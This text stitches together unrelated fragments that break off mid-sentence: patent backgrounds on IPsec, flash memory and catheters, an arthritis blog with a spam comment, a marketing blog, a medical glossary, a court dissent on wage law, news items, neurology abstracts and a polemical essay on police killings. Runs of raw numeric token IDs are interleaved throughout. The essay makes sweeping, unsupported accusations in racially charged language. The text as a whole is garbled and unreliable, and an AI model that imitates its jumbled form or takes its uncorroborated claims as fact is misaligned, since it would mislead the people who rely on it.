standard”). An other related industry standard describes ways to encapsulate encrypted data exchanged between nodes on a secure network connection that is maintained according to the IPsec industry standard. This other industry standard is the Internet Engineering Task Force, Network Working Group, Request for Comments: 4303, IP Encapsulating Security Payload (ESP), published December 2005 (“the ESP standard”). Further, numerous cryptographic algorithms and modes to implement those cryptographic algorithms are part of a secure network connection when implementing IPsec and ESP. Cryptographic algorithms may include, but are not limited to, the Advanced Encryption Standard (AES), and the Triple Data Encryption Standard (3DES). Modes to implement AES or 3DES may include, but are not limited to Cipher Block Chaining (CBC) and Counter (CTR) modes. Implementing IPsec and ESP to exchange data over a secure network typically requires an increasing amount of node resources as the rate that data is exchanged on a secure network connection increases. These node resources need to encrypt transmitted data and decrypt received data at ever increasing rates with ever increasing efficiency. The way the data is encrypted and decrypted likely varies based on the cryptographic algorithm and mode to implement the cryptographic algorithm. Typically, as part of a process described by the IPsec standard as an IPsec security association, nodes negotiate the cryptographic algorithm and mode and come to an agreement on which to use to exchange data. As mentioned above, this may include one of several different cryptographic algorithm and mode combinations.By Lene Andersen. Health care writer, RA and disability advocate, wheelchair user and camera nut. Author of Your Life with Rheumatoid Arthritis: Tools for Managing Treatment, Side Effects and Pain Tuesday, August 07, 2012 RA2day: An Awareness Campaign for Rheumatoid Arthritis I'm very excited to share this news. Today, RAHealthCentral has launched a new awareness campaign for RA called RA2day. It's got real potential to pull us all together and give a realistic view of what it's like to live with RA: "What does your experience with RA look like today? Is it an intimidating pile of medication, a swollen joint or testing a new mobility aid? Is it playing with your kids in the backyard, getting back into a kayak or baking a cake? Are you having a good day or a bad one? What do you want the world to know about RA? What do you want others with the disease to know about what is possible? We are excited to announce the launch of RA2day, an awareness campaign for rheumatoid arthritis! We hope that it will help increase knowledge about RA - what it is, what it isn't and what it can be." You can read the rest of the launch post here and see my first RA2day post on the RAHealthCentral Facebook page here. Please join us in raising awareness about RA! 1 comment: Anonymous said... Do you thinkBuy Diablo 3 gold you're creating a very good day or a terrible a single? Give me an idea the entire world to understand RA? Give me an idea other individuals while Billig Gw2 Gold using disease comprehend what's probable? macro 💩 { rule infix { $left \| $right } => { $left == $right } } let == = macro { case { $ctx } => { throwSyntaxError("== is not allowed", #{$ctx}); } } export 💩 export == In fact, at1Entity we are getting some study cases ready, to publish them in the following weeks. 2. Tutorials and educative content Don’t be afraid to post tutorials on your company’s blog. Yes, you might show your consumers how you get some things done, but more importantly, other than making them depend on you or your company you will be gaining credibility. Besides, you won’t tell them everything. In fact, here, at 1Entity we’ve been taking advantage of this kind of content, by regularly sharing a tutorial that my coworker David Castillo prepared for our consumers about HTML and CSS. Neil Patel, one of the most influential marketers in the world, is an example of how to reach success by publishing educational content. I think the most immediate example I can show you of how tutorials and educational content can help you captivate your audience, is this article that you’re reading. While you read me right now, I’m trying to teach you something valuable to help you reach your goals. That creates a particular connection between us, right? 🙂 3. Infographics Everyone loves infographics. They are easy to read and share, while visually very attractive (if you read them correctly). In fact, Neil Patel has written that it’s possible to duplicate your traffic online, creating infographics. Yes, you read that right. Here is an example of a successful infographic from Copyblogger that has generated more than 264.000 shares through different social networks (Facebook, Twitter, Pinterest, among others) and it keeps generating traffic despite being published over five years ago. (Yes, infographics can have a long life.) 4. Interviews Interviews of outstanding people in your industry (and also those who love your services and products) and influencers that could add value to your audience are an excellent way to increase your credibility and expand your scope. That’s why it’s not a surprise that top bloggers like Tim Ferris, still interview other leaders regularly. 5. Lists A study made by Co.Design revealed what should be obvious for all of us: lists work well on the internet. This is why at 1Entity we have published several articles that consist of lists, such as:Disk-drive (or hard-drive) memory systems are being replaced with solid-state memory systems utilizing flash-memory technology. Compared to hard-drive systems, flash-memory systems offer the reliability of semiconductor-based memory along with less energy consumption and smaller size. While significant in-roads have been made in replacing hard-drives in consumer-based products such as in laptop computers, few of the hard-drives in enterprise-level systems have been replaced with solid-state drives for a variety of reasons. The most notable reason is the incompatibility of the file system
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323, 247, 16707, 2180, 15, 187, 187, 28058, 187, 187, 27, 50275, 34, 2876, 273, 475, 29371, 20327, 11, 326, 38554, 253, 9066, 273, 247, 475, 20529, 4556, 187, 187, 7475, 5174, 187, 187, 27, 50275, 510, 6380, 24071, 273, 271, 2060, 21339, 15, 187, 187, 9030, 8056, 19901 ]	Normal body fluid pH (i.e., hydrogen ion concentration), which must be narrowly regulated for proper body functioning. Acidosis : A condition in which body fluids become too acidic (see alkalosis). Active transport : The transfer of substances (i.e., molecules or ions) across a cell membrane from a lower to a higher concentration, thus requiring energy expenditure. Alcohol dehydrogenase : An enzyme that breaks down alcohol. Alkalosis : A condition in which body fluids become too alkaline (see acidosis). Allele : One of two or more variants of a gene. Different alleles for a gene serve the same function (e.g., code for a protein that affects a person's eye color) but may result in different phenotypes (e.g., blue eyes or brown eyes). Amino acids : The building blocks of proteins. Some amino acids also function as neurotransmitters. Ammonia : A neurotoxic chemical compound that is formed in the body primarily as a product of protein metabolism. Anemia : A blood condition in which the number of functional red blood cells is below normal. Anterior pituitary : A small gland at the base of the brain that is controlled by the hypothalamus and which manufactures hormones influencing many organs in the body. Antibody : A protein that is produced by B cells in response to, and which interacts with, an antigen. Antidiuretic hormone (ADH) : A hormone produced in the hypothalamus and released from the posterior pituitary gland in response to dehydration; plays an important role in regulating fluid excretion. Antigen : Any substance that is recognized by B cells or T cells and stimulates them to initiate an immune response. Antioxidants : Chemicals (e.g., glutathione and vitamins A and E) that prevent certain destructive chemical processes in cells. Apoptosis : A series of chemical reactions within a cell that are induced by various events and which result in the cell's death. Atherogenesis : The development of atherosclerosis. Atherosclerosis : A disease of the arteries in which fatty plaques accumulate on the arteries' inner walls, usually leading to narrowing and "hardening" of the arteries and eventually obstructing blood flow. Atrial fibrillation : A loss of coordinated contraction that occurs in one or both of the upper chambers of the heart, resulting in rapid and irregular heart and pulse rates. Atrophy : Wasting away, or shrinkage, of tissue; caused by cell death rather than shrinkage of individual cells. B lymphocyte (B cell) : A type of white blood cell that originates in the bone marrow and is distributed throughout the blood and lymphoid tissues. B cells produce antibodies when stimulated by the appropriate antigens. Basal ganglia : A group of nerve cell structures at the base of the brain that are involved in motor control. Catalyst : Any substance that facilitates a chemical reaction and which does not undergo a permanent chemical change itself. Catecholamines : A group of physiologically active substances with various roles in the functioning of the sympathetic and central nervous systems. Cell-mediated immune response : An immune response provided by the direct actions of immune system cells (primarily T cells), as opposed to an immune response mediated by antibodies (i.e., humoral immune response). Cellular toxin : A toxin that is released from a cell; also called endotoxin. Cerebellum : The brain structure at the base of the brain that is involved in the control of muscle tone, balance, and sensorimotor coordination. Cerebral cortex : The intricately folded outer layer of the brain, composed of nerve-cell bodies and gray matter, that covers the cerebrum. The cerebral cortex contains areas for processing sensory information and for controlling motor functions, speech, higher cognitive functions, emotions, behavior, and memory. Cerebrum : The largest portion of the brain; includes the cerebral hemispheres (see cerebral cortex and basal ganglia). Chemokines : Small proteins secreted by immune cells that can attract other immune cells to the tissue site where the chemokines are produced. Chemokines play a role in chemotaxis. Chemotaxis : The directed movement of a cell in response to a stimulus, such as a chemokine. Cholesterol : A fatlike substance that is an important component of cell membranes and is the precursor of many steroid hormones and bile salts. High cholesterol levels are associated with coronary artery disease. Cholesteryl ester : The product of a reaction between cholesterol and an organic acid. Cholesteryl ester transfer protein (CETP) : A compound that transports cholesteryl esters from high density lipoproteins to low density lipoproteins for eventual removal from the blood. Complement : A group of proteins circulating in the blood that are either bound to antigen and activated by antibodies or are activated by molecules found on the surface of some bacteria. Complement activation results in the attraction of phagocytes, the release of chemicals that amplify immune responses, and the destruction of invading bacteria. Cortisol : A glucocorticoid produced by the adrenal gland that helps regulate metabolism. Cytochrome : An enzyme that detoxifies foreign compounds. Cytokine : A molecule that regulates cellular interaction and cellular functions. Cytokines are produced and secreted by a variety of cells, including immune cells. Diencephalon : The area of the brain consisting of the thalamus, which is the brain's relay center to the cerebral cortex, and the hypothalamus. Differentiation : A developmental process during which cells become increasingly specialized and acquire new characteristics and functions. Diuretic : An agent that increases urine production. Diuresis : Increased urine production. DNA : The abbreviation for deoxyribonucleic acid, a molecular component of chromosomes that encodes the genetic information in all organisms except some viruses. DNA molecules usually consist of two strings of nucleotides. Down-regulation : A decrease in the number or sensitivity of receptors as a regulatory mechanism to compensate for increased activation of the receptors. Eicosanoids : The physiologically active substances derived from arachidonic acid (i.e., the prostaglandins, leukotrienes, and thromboxanes). Electrolyte : A substance that breaks down into electrically charged ions when dissolved in solution. Electrolytes are essential to physiological functioning. Embolism : The obstruction of a blood vessel by a blood clot or other substance (e.g., a fat droplet) that has been transported through the bloodstream from another part of the body. Endothelin : An extremely potent vasoconstrictor (i.e., agent that causes narrowing of the blood vessels). Endotoxin : A potent toxin contained in the cell walls of bacteria found in the intestine; it is released when a bacterium dies and is broken down. Enzyme : A protein that directs and accelerates (i.e., catalyzes) chemical reactions in the body, such as the breakdown of complex molecules into simpler ones, but does not itself undergo permanent change. Epithelium : The cell layer(s) covering the body's organs and lining the vessels, body cavities, glands, and organs. The epithelia of different organs consist of different types of cells. Extracellular fluid : All fluids outside the cells, including the noncellular portion of blood (i.e., plasma). Ferritin : An iron-containing compound that regulates the storage and transport of iron in the cells. Fibrin : An insoluble protein that forms the basis of a blood clot by linking with similar molecules in a fibrous meshwork. It is the ultimate product in the process of coagulation. Fibrinolysis : Dissolution of a blood clot through digestion of fibrin by plasmin. Fibrosis : Formation of scar tissue. Folic acid : A vitamin of the B group that is essential for cell growth, cell division, and the absorption of nutrients from the intestines. Free radicals : Highly reactive molecules that are incapable of existing in a free state for a prolonged period. Gene : A string of nucleotides that directs the synthesis of a protein. Genotype : The genetic makeup of an individual organism. Glomerulus
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74, 452, 281, 320, 342, 6545, 407, 253, 15517, 1336, 275, 897, 15, 4923, 273, 841, 1077, 6906, 3402, 7118, 13, 352, 310, 1024, 1896, 13, 281, 4711, 247, 608, 5112, 18629, 342, 3304, 37162, 326, 8268, 253, 3304 ]	upon us to decide an arguable retroactivity issue. Under 29 U.S.C. § 255, an employee's right of action against his employer for underpayment of minimum wages accrues upon the employer's violation of the FLSA. Cf. Unexcelled Chem. Corp. v. United States, 345 U.S. 59, 65, 73 S.Ct. 580, 97 L.Ed. 821 (1953) ("We conclude that `the cause of action accrued'... when the minors were employed."); Riley v. Dow Corning Corp., 767 F.Supp. 735, 743 (M.D.N.C.1991) (stating a plaintiff's claim under the FLSA accrued when he was denied his proper wage), aff'd, 986 F.2d 1414 (4th Cir.1993) (unpublished table decision). Thus, the Hotel Workers' rights of action against Decatur because of its alleged FLSA violations accrued in 2005 and early 2006; and the workers timely brought this suit on August 16, 2006. The DOL's interpretation of the regulations that foreign temporary workers' visa, transportation and recruitment costs were for the employer's benefit was the same then as it is now. Thus, we are not required to choose between two different interpretations of the regulations in this case. Moreover, as noted above, the DOL's decisions to, at times, not enforce its interpretations of its regulations, in no way altered the meaning or import of those interpretations, which created a right for the Hotel Workers to have the expenses at issue in this appeal reimbursed. 29 C.F.R. § 790.18(a). The cases cited by the majority opinion, Bradley v. School Board of Richmond, 416 U.S. 696, 715-17, 94 S.Ct. 2006, 40 L.Ed.2d 476 (1974) (holding that "an appellate court must apply the law in effect at the time it renders its decision," unless such application would work a manifest injustice or there is statutory direction or legislative history to the contrary), and Landgraf v. USI Film Products., 511 U.S. 244, 286, 114 S.Ct. 1483, 128 L.Ed.2d 229 (1994) (holding that provisions of the Civil Rights Act of 1991 creating a right to recover compensatory and punitive damages for certain violations of Title VII, and providing for trial by jury if such damages are claimed, did not apply to Title VII case pending on appeal when the statute was enacted on retroactivity grounds), are inapposite to this case. [29] Wage and Hour Division, U.S. Dep't of Labor, Field Assistance Bulletin No. 2009-2, at 9, 11 n. 5 (2009), available at http://www. dol.gov/whd/FieldBulletins/FieldAssistance Bulletin2009_2.htm. [30] The majority also argues the 1986 letter should be ignored because it was a "post hoc rationalization" of the agency's position, unworthy of deference under Auer. Majority Op. 402 n.10 (citing Auer, 519 U.S. at 462, 117 S.Ct. 905). It is unclear why the majority thinks this out-of-context quotation from Auer is applicable to the 1986 letter. The language from Auer reflected the Court's concern with whether and when it should defer to an agency position adopted for the purposes of the litigation at bar, not with providing deference to an agency position taken decades before the present litigation was initiated. Auer, 519 U.S. at 462, 117 S.Ct. 905 (noting that the fear of agency "post hoc rationalization" was in response to the Court possibly deferring to an agency amicus brief submitted in the case at bar, not deferring to prior agency interpretations (alteration omitted)). Moreover, the notion that the 1986 letter was developed in response to litigation appears baseless. The citations in the letter are to a District Court for the District of New Jersey judgment entered in October 1979, more than seven years before the letter was written. See Wage-Hour Opinion Letter, dated Nov. 28, 1986 (citing Marshall v. Glassboro Serv. Ass'n, Inc., No. 78-377, 1979 WL 1989 (D.N.J. Oct. 19, 1979)). In a further effort to discredit the 1986 letter, the majority also falls back on some of its earlier platitudes, arguing the letter should be disregarded because it addressed H-2A, not H-2B, workers and it is "doubtful that even the most diligent employer could have readily accessed" the letter to know his or her responsibilities and thus might "not know the amount" he or she was required to pay the employees. Majority Op. 402 n.10. However, as described above, the H-2A/H-2B distinction drawn by the majority is a false one, in no way supported by the majority's citations or analysis. Moreover, as already noted, an employer need not have relied upon the letter to discern its employees' rights to reimbursement for transportation, visa and recruitment expenses, as there were numerous other interpretations and regulations supporting employees' rights to the reimbursements sought in the instant case. The majority's concern that the minimum wage might be difficult to calculate is of no moment. Majority Op. 402 n.10. The FLSA imposes a minimum wage requirement upon the defendants-employers and it must be satisfied. Internet Radio Lindo Creek Inquiry: Detective saw pile of burnt bones, flesh Retired Guyana Police Force Detective Sergeant, Clemsford Burnette on Thursday testified spotting a pile of burnt human remains and important documents at Lindo Creek, Upper Berbice River in June 2008. “On checking, I found there were human remains. There were skeleton bones, parts of skull and a kind of flesh that wasn’t burnt properly,” he said under questioning by the Commission’s lawyer, Patrice Henry. At the first public hearing before the one-man Commission of Inquiry being presided over by Retired Justice Donald Trotman, the former policeman recalled being instructed by his superior officers to join a party of police and soldiers to go to Lindo Creek. There, he said he saw two mining camps a short distance from a dredge. At one of the camps, surrounded by trees, he said there was a pile of burnt human remains about one foot high and eight feet wide. Also found at the scene, according to Burnette, were one 7.62 live round and four 7.62 x 39 mm spent shells, one sledge hammer, one Scotiabank bank card, one birth certificate bearing the name Barry Lloyd Patrick Harry, a burnt passport whose details could not have been recognised, and a national identification card. Owner of the Lindo Creek mining camp, Leonard Arokium on June 21, 2008 discovered burnt skulls and other skeletal remains of several persons there. When results of DNA tests had been returned years later from Jamaica, it confirmed that those killed were Dax Arokium, his brother Cedric and workers- Compton Speirs, Horace Drakes, Clifton Wong, Lancelot Lee, Bonny Harry and Nigel Torres. The Detective Sergeant said he later accompanied Trinidadian and Jamaican teams of experts. Among the things, he said, the Jamaican team had found was a wedding band. Autopsies, he said, were conducted in the absence if relatives, and he could not say if they had been notified. Questioned by Commissioner Trotman, Burnette said it was usual for relatives to be informed about autopsies but in that case he could not say whether any of them had been told. At that time, Senior Superintendent Reid was in charge. After the bodies had been taken to Lyken Funeral Parlour, he said he reported to his superior then Senior Superintendent Edgar Thomas. The Lindo Creek inquiry is the first in a series of such probes that is planned into various massacres and extra-judicial killings during the 2002-2009 period that President David Granger has described as the “troubles”.This invention relates in general to intravascular catheters and more particularly to a catheter that is inserted into and through blood vessels for the purpose of injecting radiopaque substances to aid in the imaging of blood vessels and organs. Such catheters are called angiographic catheters. It is known to incorporate a soft tip in the leading or distal end of these catheters to avoid injury to the walls of the blood vessels. The body of the catheter, however, has to be relatively stiff to withstand the pressure of the radiopaque material being delivered through the catheter and to provide enough torqueability so that the tip, usually curved, can be directed through the blood vessel. A known type of soft tip catheter is disclosed in U.S. Pat. No. 4,563,181 issued on Jan. 7, 1989 to Wijayarathna and Hopkins. The patent provides a useful description of the prior art and of the need for the combination of a soft tip portion and a stiff body portion. To properly locate the catheter in the patient, it is important that the distal end of the catheter be sufficiently radiopaque so as to make it readily visible on the fluoroscopy screen. Polymer materials and in particular nylons of great structural strength have become available which make it possible to design very thin wall catheters to withstand high pressure without bursting. Pressures of up to 1,200 psi have to be withstood by the catheters in use. Because of these very thin wall sections, it is now possible, to produce a 5 French catheter with inside diameters that exceed the inside
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The station is located right next to its namesake ‘Castle Hill Showground’, the location will provide better access to rapid transit services by train for people living, working and visiting the area. Minister for Transport and Infrastructure Andrew Constance said the North West Rail Link will provide a significant boost to capacity across the rail network. "From the end of the project at Chatswood, rapid transit services will continue under Sydney Harbour, through new stations in the CBD and west to Bankstown," Mr Constance said. The North West Rail Link is ahead of schedule with services to start in the first half of 2019, delivering a train every four minutes in the peak. The North West Rail Link Tunnelling work involves 30km of tunnels to be cut by four Tunnel Boring Machines. It includes twin 15km tunnels from Bella Vista to Epping, these will be Australia's longest railway tunnels.First up is a US$349 Google Play edition of LG's G Pad 8.3 tablet which has an 8.3 inch 1920x1200 display and Snapdragon 600 SoC, while there's 16 GB of internal storage, and a microSD slot. It’s only available in the US, however. Next is a Google Play edition of the Xperia Z Ultra available for US$649 in the US, while bringing up the rear is a special edition white Nexus 7, which will be on sale in the US, UK, and Japan. Apple switches on iBeacons Apple has switched on its iBeacon tracking system in 254 Apple Stores in the US, promising to end the misery of getting lost in a shop (and to bombard you with information and offers, if you agree to let it). The system, which communicates with iOS devices via Bluetooth Low Energy (which means it works with all iPhones since the 4S and all iPads since 2), is able to tell Apple gadget-toting shoppers exactly where to go, directing them to individual products on shelves, and even show them custom messages on nearby screens. It's not in the UK just yet, and Apple hasn't outlined plans to bring it over. Perhaps that's a good thing.INSERT INTO ReportSeverityUserSettings VALUES (NULL, @RequiredReport_ID, @UserName, @Severity, 'True' );Click here to edit title. Click here to edit title. WHITE PRIVILEGE DOESN’T FEAR PLATITUDES WHICH IS WHY BLACK LIVES DO NOT MATTER Last week, Eric Harris, an unarmed black man, fled when the Tulsa police jumped out of their car, guns drawn. Less than a minute later, Eric Harris lay face down on the ground bleeding and crying out “oh shit man, he shot me, he shot me! Oh, he shot me!” One Tulsa police officer puts his knee on Harris’s head and tells Harris to “shut the fuck up.” Then, when Harris moans “I’m losing my breath,” another Tulsa police officer says, “fuck your breath.” The cop turns and smiles at Robert Bates, the 73-year-old insurance executive and wealthy supporter of the sheriff’s department who shot Harris. One hour later, Eric Harris was pronounced dead. Like Otis Byrd and Lennon Lacey, Eric Harris was another victim of a premeditated lynching. Eugene Stovall, Oakland, California, April 16, 2015 Visiting Oakland on Thursday, April 9, 2015, Cornel West recalled the death of Oscar Grant at the hands of a BART police officer in 2009. West then discussed the recent murder of Walter Scott, the unarmed black man, shot dead by a police officer in Charleston, South Carolina. West then asks the rhetorical question: When Will Black Lives Matter? And in response, his largely Negro audience assembled at Allen Tenple Baptist Church bobs their heads up and down and made muttering sounds that some hoped might be taken as words of wisdom. The assembled audience which included Oakland’s clergy were happy with the outpouring of pious platitudes and even happier that no one dared to question why America’s first “black” president and his “black” attorney general has not done anything about the serial killings that have been the hallmark of the Obama administration. “PLATITUDES ARE ALL THEY EXPECT OF ME…” In the 1984 movie, Mass Appeal, Jack Lemmon plays Father Tim Farley, the likeable pastor of an affluent suburban Catholic Church. By delivering folksy homilies filled with practical advice and funny jokes, Father Tim maintains a close relationship with his congregation while adhering to diocesan policies governing his pastoral duties. Sidestepping issues that might make his congregation uncomfortable, Father Tim was known for his repertoire of charm, harmless white lies, and inane jokes. With his repertoire platitudes, Father Tim kept well within the boundaries of what his bishop and his congregation expected the pastor.When a young seminarian criticizes his pastor for failing to take on a controversial issue impacting his congregation, Father Tim retorts that platitudes are all that are expected of him. The preachers attending Cornel West’s Allen Temple lecture would also agree that platitudes are all that is expected of them ___ and very little more. MAKING AMERICA A 'WHITE MAN'S COUNTRY' According to Lacy Ford, professor of history at the University of South Carolina, the wrenching journey from Old South to New finds its continuity in the timeless commitment of white southerners to the common cause of white supremacy. Lacy insists that the theme of southern history is one of resolve, indomitably maintained, that the South and, indeed, the entire United States is and shall remain a white man's country. Hunter Wallace, a popular right wing blogger, explains: Virginia was a White Republic. South Carolina was a White Republic. Kentucky was a White Republic. Alabama was a White Republic. The Confederacy was a league of White Republics.The Ku Klux Klan fought to overthrow Reconstruction and restore the White Republic. The White Citizens’ Councils sprung up in the 1950s to fight integration and to preserve and defend the White Republic.From 1865 until 1965, Dixie was the “White Republic” within the United States. The 14th Amendment was nullified here and the Democratic Party was explicitly the party of white supremacy. Occidental Dissent.com Throughout its history, America has been maintained as a white man’s country ____ even during the presidency of a Negro. And white rule has been maintained through America’s distinct tradition of violence. In his inaugural speech, Governor George Wallace recalled for his supporters the fight their forefathers waged when the South was attacked by carpetbagger and federal troops. Nigras wanted to have the same rights as white men, Wallace reported. “Our forefathers won then and now it is our turn to fight.” Indeed, over the past fifty years, the deadly struggle over full rights of citizenship has been expanded all over the United States. White arch-segregationists have chosen a cadre of Negro leaders and placed them in academia, political offices and most importantly in the pulpit to support the policy of white privilege. With support of their Negro servants, whites have a declared policy not negotiate, but to infiltrate, intimidate and assassinate. During the month of March, alone, white policemen have murdered over a hundred people. So confident is white supremacy in its power that when Otis Byrd, a black man, was found hanging on a tree near his home in Port Gibson, Mississippi, the white press echoed the official line of the Justice Department: Otis Byrd was not a victim of a lynching, he committed suicide. When the body of Otis Byrd was found hanging from a tree near his home in Port Gibson, Mississippi, on March 19, 2015, Obama’s Justice Department under a ‘lame duck’ attorney general, working with Mississippi’s County Sheriff, issued a preliminary finding that the black man lynched himself. Quickly ordering the black man’s body cremated, the Mississippi Sheriff announced that the family and friends of Otis Byrd needed to be patient and allow the authorities do their job. “Do not feed into the foolishness and hearsay,” the sheriff said. Just because a black man is found hanging from a tree does not mean he was lynched. Addressing this travesty, Claiborne County Supervisor Edwin Smith said: "I'd like to apologize on behalf of the county. These people deserve action. We've been disrespected. If they can look at a satellite and get your tag number, we can surely get some closure on this." But this is merely a 21st century platitude. It is exactly what the Negro leaders will repeat and their followers will believe ___ Negro leaders something to say. The Negroes want closure, not justice. They want the lynching of Otis Byrd to be swept away;
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187, 187, 34438, 272, 187, 187, 5072, 267, 32076, 13580, 187, 187, 40, 2094, 8364, 323, 45160, 447, 285, 643, 5044, 12222, 187, 187, 31087, 13339, 4832, 8596, 323, 5870, 10268, 4092, 1892, 19794, 15, 187, 187, 22032, 323, 8214, 3739, 2436, 1005, 417, 6107, 407, 253, 2208, 27, 19983, 12358, 13, 1728, 6500, 285, 13191, 323, 5753, 342, 11900, 3237, 13, 5961 ]	be elucidated and successful individualized management strategies are needed to maintain mobility, independence, and patient autonomy. There is striking a paucity of neuroimaging studies in PPS that could provide anatomical insights into the substrate of extra-motor symptoms. Ultimately, the characterization of PPS-associated pathology may help research efforts in other motor neuron diseases. Author Contributions {#s5} ==================== The manuscript was drafted by SL and PB. The manuscript was edited, adjusted, and reviewed for intellectual content by RC, EF, DM, and OH. Conflict of Interest Statement ------------------------------ The authors declare that the research was conducted in the absence of any commercial or financial relationships that could be construed as a potential conflict of interest. Peter Bede and the Computational Neuroimaging Group are supported by the Health Research Board (HRB--Ireland; HRB EIA-2017-019), the Andrew Lydon Scholarship, the Irish Institute of Clinical Neuroscience (IICN)--Novartis Ireland Research Grant, the Iris O\'Brien Foundation, and the Research Motor Neuron (RMN--Ireland) Foundation. 101-PNR : 101- point numeric rating 10MWT : 10-meter walk test 2MWT : 2-minute walk test 6MWT : 6-minute walk test ALS : Amyotrophic lateral sclerosis BDI : Beck depression inventory BiPAP : Bilevel positive airway pressure CAS : cytokine analysis study CBT : Cognitive behavioral therapy CK : Creatine kinase CMAP : Compound muscle action potential CMV : Controlled mechanical ventilation CSE : Clinical study extension CSF : Cerebrospinal fluid CSF-MC : cerebrospinal fluid mononuclear cells ELISA : Enzyme-linked immunosorbent assay EMG : Electromyography ESS : Epworth sleepiness scale FIS : Fatigue impact scale FSS : Fatigue severity scale FVC : forced vital capacity HDsEMG : High density surface electromyography HHD : hand-held dynamometry IASP : International Association for the Study of Pain IBM-FRS : Inclusion body myositis functional rating scale IPAP : inspiratory positive airway pressure KAFO : Knee ankle foot orthosis LIC : lung insufflation capacity LVR : Lung volume recruitment MAF : Multidimensional assessment of fatigue MD : Myotonic dystrophy MEP : Maximal expiratory pressure MFI-20 : Multidimensional functional inventory MFM scale : Motor function measurement scale MIP : Maximal inspiratory pressure MMPI : Minnesota multiphasic personality inventory MRC : Medical Research Council Scale for muscle strength MRI : Magnetic resonance imaging MRS : Magnetic resonance spectroscopy MUAP : Motor unit action potential MV : Minute ventilation MVA : Maximal voluntary activation MVC : Maximal voluntary contraction MVIC : Maximal isometric voluntary contraction NHP : Nottingham health profile NIPPV : Nasal intermittent positive pressure ventilation NIV : Non-invasive ventilation OSA : Obstructive sleep apnea PASE : Physical activity of the elderly PBMC : peripheral blood mononuclear cells PCF : unassisted peak cough flow PFS : Piper fatigue scale PFT : Pulmonary function test PLMS : Periodic limb movements of sleep PPL : Polio problem list PPS : Post-polio syndrome PV : Polio virus qMRI : quantitative magnetic resonance imaging QMT : Quantitative motor test rCT : randomized controlled trial RDBPC : Randomized double-blind placebo controlled REE : resting energy expenditure RLS : Restless leg syndrome RNA : Ribonucleic acid RQ : respiratory quotient RR : respiratory rate RT-PCR : Reverse transcription polymerase chain reaction rTMS : Repetitive transcranial magnetic stimulation S-SFEMG : Single fiber electromyography stimulation SF-36 : 36-item short form survey SFEMG : Single fiber electromyography SFQ : Short fatigue questionnaire SIP : Sickness impact profile SIPP : Self-reported impairments in persons with late effects of polio SMN gene : Survival motor neuron gene SNIP : Sniff nasal inspiratory pressure SSS test : Sit-stand-sit test tDCS : Transcranial direct current stimulation TQNE : Turf\'s quantitative neuromuscular examination TUG test : Timed-Up-and-Go test UW-SES : University of Washington self-efficacy scale VAS : Visual analog scale VAS-F : Visual analog scale for fatigue VCO~2~ : carbon dioxide production VO~2~ : oxygen consumption WBV : Whole body vibration WHOQOL-BREF : World Health Organization quality of life abbreviated scale. [^1]: Edited by: Francesca Trojsi, University of Campania, Luigi Vanvitelli Caserta, Italy [^2]: Reviewed by: Andrea Romigi, Mediterranean Neurological Institute (IRCCS), Italy; Louisa Ng, The University of Melbourne, Australia [^3]: This article was submitted to Neurodegeneration, a section of the journal Frontiers in Neurology Characterization of plasminogen variants in healthy subjects and plasminogen mutants in patients with inherited plasminogen deficiency by isoelectric focusing gel electrophoresis. Plasmin(ogen) plays an important role in fibrinolysis and wound healing. Severe hypoplasminogenemia has recently been linked to ligneous conjunctivitis. Plasminogen (plg) is known as a polymorphic protein and most of these variants have been identified using isoelectric focusing (IEF) gel electrophoresis. Here, we studied common plg variants from healthy subjects and plg mutants from three patients with hypoplasminogenemia and three subjects with dysplasminogenemia by molecular genetic analysis and IEF. Analysis of 24 healthy subjects showed that subjects with the most common IEF plg phenotype A (n=12) were homozygous for aspartate at position 453 (453D), while both subjects with IEF plg phenotype B were homozygous for asparagine at this position (453N). Subjects with IEF plg phenotype AB (n=10) were compound-heterozygous for 453D/453N. Three patients with severe hypoplasminogenemia and different plg gene mutations exhibited characteristic "abnormal" IEF band patterns when compared with IEF plg phenotypes A and B. In all heterozygous family members the observed IEF plg phenotype was derived from the wild type plg molecule only, probably due to low concentration of the mutant plg molecule in plasma. In contrast, in three unrelated subjects with heterozygous dysplasminogenemia an equal "mixture" of wild type and mutant plg was found by IEF analysis. In conclusion, plg phenotyping by IEF in combination with molecular analysis of the plg gene seems to be a useful method for characterization of plg variants and mutants.In September 2015, star defenceman P.K. Subban announced his support for sick children and their families when he and his foundation committed 10 million dollars to the Montreal Children’s Hospital. To date, this is the largest philanthropic commitment by a professional athlete in Canada. As a spokesperson, donor and board member, P.K. Subban’s impact on the Hospital is beyond measure. Projects funded by P.K.’s Helping Hand help over 9,000 families a year. Join P.K.’s team! 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2469, 2067, 1107, 15, 380, 34105, 6468, 457, 85, 1160, 253, 27613, 1580, 4267, 15, 1583, 452, 3663, 387, 1878, 3578, 3958, 253, 2469, 1264, 12396, 13, 285, 616, 337, 14, 20, 1265, 3548, 457, 85, 4555, 7862, 981, 598, 247, 2257, 273, 3524, 323, 1841, 281, 1818 ]	Opera Software to bring a customized Opera Mini browser to Bharti Airtel’s subscribers. Bharti has presence in 20 countries across Asia and Africa, this deal will allow Bharti and Opera to offer a co-branded and customized browser for Bharti subscribers. Opera Mini uses unique-proxy-server based technology to compress data by upto 90% and thereby decreasing the data costs. Airtel offers 2G, 3G and 4G data services in India. It has 2G plan with 30 days validity at Rs 98, 1GB free data. Similar 3G plan will give 500MB data for Rs 250 for 30 days. For Airtel this technology makes a lot of sense as both the carrier and users will be able to save lot on transfer. Airtel will be able to tout this to attract new customers and eventually increase the data subscribers list. For users who are on tight budgets this is very useful to keep the data costs minimal. Opera Mini is already available for smartphones and feature phones, this deal will help Opera to increase its presence in India more. I use Opera on both my Android and iPhone, the start page of Opera already shows Airtel Live pages links from quite some time. Opera Mobile browsers are quite popular and is the most popular web browser as of writing this post, it lost it’s position to Android robot browser in March first time and regained and going neck to neck to now.Syndication: This CalBuzz article says Democrats in the California legislature may introduce a bill (or amend another election law bill to add a new provision) soon to provide that initiatives, no matter when they are submitted, will not appear on the June primary ballot. Instead they would wait and be placed on the November ballot. The rationale is that initiatives should be on the ballot that draws all voters to the polls. Democrats believe that the June 2012 primary ballot in California will have low turnout from Democrats, but high turnout from Republicans, because the Republican presidential primary will theoretically be exciting but the Democratic presidential primary will not be exciting. Therefore, the voters who show up in June would be skewed. The June 2012 primary will also contain U.S. Senate, U.S. House, and legislature, but again, in 2012, the U.S. Senate race is likely to be more exciting for Republican voters than for Democratic voters, because incumbent U.S. Senator Diane Feinstein is running for re-election and no Democrat with any support is expected to enter the race against her. California currently is the only state, or almost the only state, that ever permits statewide initiatives to appear on a primary ballot. There is a possibility of referendums on the redistricting plans. If the petitions are sufficient the law is suspended until after the election on 